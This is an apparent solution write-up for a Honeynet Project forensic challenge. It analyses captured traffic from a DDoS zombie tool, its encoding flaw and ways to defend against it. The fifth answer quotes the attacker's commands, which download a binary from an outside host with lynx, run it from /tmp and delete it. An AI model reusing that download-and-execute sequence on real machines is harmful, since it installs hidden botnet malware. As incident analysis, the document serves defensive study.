Project Honeynet Scan 22
Summary:
This was an interesting challenge, although parts of it turned out to be easier than I thought they would be at first glance. Pretty much all of the work had previously been done and posted at http://project.honeynet.org/reverse/results/, I just needed to read through it and apply that information to this scan. Is that cheating? Maybe, but I would have used the information if I were decoding a "real" attack.
1. What is the attacker's IP address?
The attacker's IP address is 203.173.144.50. It can be found in the first packet decoded by decode.c, in the 4th through 7th bytes (CB AD 90 32).
2. What is the attacker doing first? What do you think is his/her motivation for doing this?
The first thing the attacker does is check /etc/named.conf for entries with "zone" in them to see if the machine is serving DNS for any zones. This may be to determine if the machine is a DNS server or not for the DNS-based attacks; a ton of outbound DNS traffic would be normal for a DNS server, but could be suspicious for other machines.
3. Why there is some readable text in packets #17-#25 (and some others), but not in packets #15-#16 (and several others)? What differentiates these groups of packets from each other?
The readable text is due to a buffer overflow in the attacker's encoding routines (http://project.honeynet.org/reverse/results/sol/sol-14/analysis.html#codefunc). All of the packets with readable text appear to be from the compromised machine to the controller, which implies that either the controller's software didn't suffer from this buffer overflow, or the data immediately past the buffer on the controller's machine wasn't as interesting. This bug is likely in most of the author's programs, since the packet at 15:57:42.3413 from the controller also had extraneous data.
4. What is the purpose of 'foo'? Can you provide more insights about the internal workings of 'foo'? Do you think that 'foo' was coded by a good programmer or by an amateur?
The purpose and usage of 'foo' is fairly well covered in the 2002 Reverse Challenge responses; put simply, it's a flexible DDOS zombie that uses encoded (not encrypted) network traffic over an unused IP protocol. The combination of an unusual protocol and encoded traffic helps the program avoid detection by IDS systems, and hides itself from casual detection on the compromised system by changing its process name. I believe that 'foo' was coded by a creative amateur programmer, who understands some C/Unix coding but relies on pasting together bits of others' code to solve a problem. The coder should have done a little more QA on his/her code, as that would have probably caught the buffer overflow leading to the unencoded text in the encoded packets.
5. What is the purpose of './ttserve ; rm -rf /tmp/ttserve' as done by the attacker?
To expand on the question, the whole sequence of commands is:
killall -9 ttserve
lynx -source http://216.242.103.2:8882/foo > /tmp/ttserve
chmod 755 /tmp/ttserve
cd /tmp
./ttserve
rm -rf /tmp/ttserve ./ttserve
So, the attacker kills all existing ttserve processes, downloads the current version to /tmp, makes it executable, runs it, then makes doubly sure it's deleted. After the program is in memory, the executable isn't necessary, and leaving executables laying around in /tmp might get noticed. Of course, mounting /tmp noexec would have helped here.
6. How do you think the attacker will use the results of his activity involving 'foo'?
The tool seems specifically designed for two tasks, to attack a remote machine on command, and to execute commands on the compromised host. The likely activity will be to command a large number of compromised hosts to attack a single target, overwhelming the target's bandwidth or resources.
7. If you administer a network, would you have caught such NVP backdoor communication? If yes, how? If you do not administer a network, what do you think is the best way to prevent such communication from happening and/or detect it?
Unfortunately, today I would not have blocked or detected this tool running on my network, although ingress/egress filtering would have prevented the attacker from using spoofed source IP addresses to control it. Blocking unused IP protocols from passing through the firewall is certainly a good idea, but it's incomplete; the attacker could have just as well used another unused IP protocol, normally-sized ICMP packets, or properly-formatted http/https connections for control.
Normally, my first choice for intrusion-detection would be Snort, but my company has adopted a strong anti-open-source stance. Additionally, no funds are budgeted for purchase of commercial security software, training or equipment. However, router-based and firewall-based egress filtering would block some of the tool's attacks and control methods, and the others would likely cause an unexplained spike in our Internet link utilization (which is monitored).